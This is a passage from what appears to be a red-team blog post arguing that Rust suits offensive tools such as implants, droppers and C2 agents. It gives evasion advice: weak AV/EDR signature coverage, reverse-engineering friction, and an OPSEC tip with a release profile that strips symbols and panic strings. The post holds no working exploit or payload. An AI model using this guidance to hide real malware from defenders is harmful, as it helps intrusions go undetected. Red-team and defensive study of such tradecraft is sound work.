| Windows API | Strong (windows crate) | Native | Poor | Good |
| Best use case | Agents, exploit development | shellcode, OS dev | Scripting | Implants, tooling |
Why Rust for offensive tooling#
A few practical reasons it’s become popular for implants and droppers:
- Less familiar to signature engines. Most AV/EDR vendors built their detection content around C, C++, C#, and PowerShell. Rust compiler output and its standard library are still less well-represented in their training corpora, which buys you (limited, shrinking) novelty.
- Stability under pressure. Memory safety means your implant doesn’t crash because of a use-after-free at 4am during the one window of the engagement that matters.
- Concurrency that just works.
tokioplus async lets a single C2 binary hold thousands of connections without dedicating an OS thread per client. - Reverse-engineering friction. Monomorphization, name mangling, and aggressive inlining make Rust binaries genuinely tedious to analyze compared to C# or Go.
The other side: reversing Rust binaries#
As a red teamer, you need to know what the blue team sees. Rust binaries are notoriously difficult to reverse engineer, which works in our favor, but you should understand why.
The “Hello world” bloat#
If you compile a “Hello World” in C, it’s a few kilobytes. In Rust, it might be 300KB or more. This is because Rust statically links its standard library by default. While you can strip symbols (strip = true), the binary structure remains complex.
Name mangling#
Rust uses aggressive name mangling. A function named connect_c2 might appear in the symbol table as _ZN10my_implant10connect_c217h8923a.... Tools like IDA Pro and Ghidra have plugins to demangle these, but it adds friction for the analyst.
Panics and metadata#
Rust binaries are chatty. If your code panics (for example unwrap() on a None), it often prints a file path and line number.
thread 'main' panicked at 'called Option::unwrap() on a None value', src/main.rs:55:12
OPSEC Tip: Always use panic = "abort" in your release profile. This removes the unwinding machinery and reduces string artifacts.
[profile.release]
panic = "abort"
strip = true
lto = trueDecompilation complexity#
Because Rust relies on monomorphization (generating a unique copy of a generic function for each concrete type), the control flow graph in a decompiler can look like spaghetti. Methods like Vec<T>::push will appear dozens of times, once for Vec<u8>, once for Vec<String>, etc. This repetitive noise exhausts analysts.
Closing#
Most of why I reach for Rust for tooling has nothing to do with offense. The borrow checker frustrates you for a few weeks and then stops you from shipping the kind of bug that turns your dropper into an event-viewer entry mid-engagement. Microsoft maintains the official windows crate, so Windows API bindings are actually first-class instead of being whatever some hobbyist hacked together in 2017. Tokio’s async story is mature enough that a C2 agent holding thousands of connections is a normal-looking program, not an exotic feat. Those are properties you want in any serious tool regardless of what it does.
The offensive bonus on top of that is that Rust binaries are still less well-represented in EDR detection corpora than the C# and PowerShell equivalents, and monomorphization plus aggressive inlining plus static linking makes them genuinely tedious to reverse. That edge is shrinking as Rust gets more common in defensive products too, but it’s real for now.
The cost is the learning curve. You will lose arguments with the borrow checker. You will restructure code that you thought was fine. After two or three months that mostly stops, and the tools you ship become significantly more reliable than the equivalent in any other systems language. Whether that tradeoff is worth it depends on what you’re building, but for any tool I expect to keep using for more than a week, the answer is yes.
References#
- The Rust Programming Language (The Book)
- Rust by Example
- Black Hat Rust - Applied Offensive Security with Rust
- Microsoft: Developing with Rust on Windows
- RustRedOps - Offensive Rust Techniques
- RustScan - The Modern Port Scanner
- Feroxbuster - Recursive Content Discovery
- The
windowsCrate Documentation - Tokio Runtime
- Clap (Command Line Argument Parser)
- Anyhow Crate
- Obfstr Crate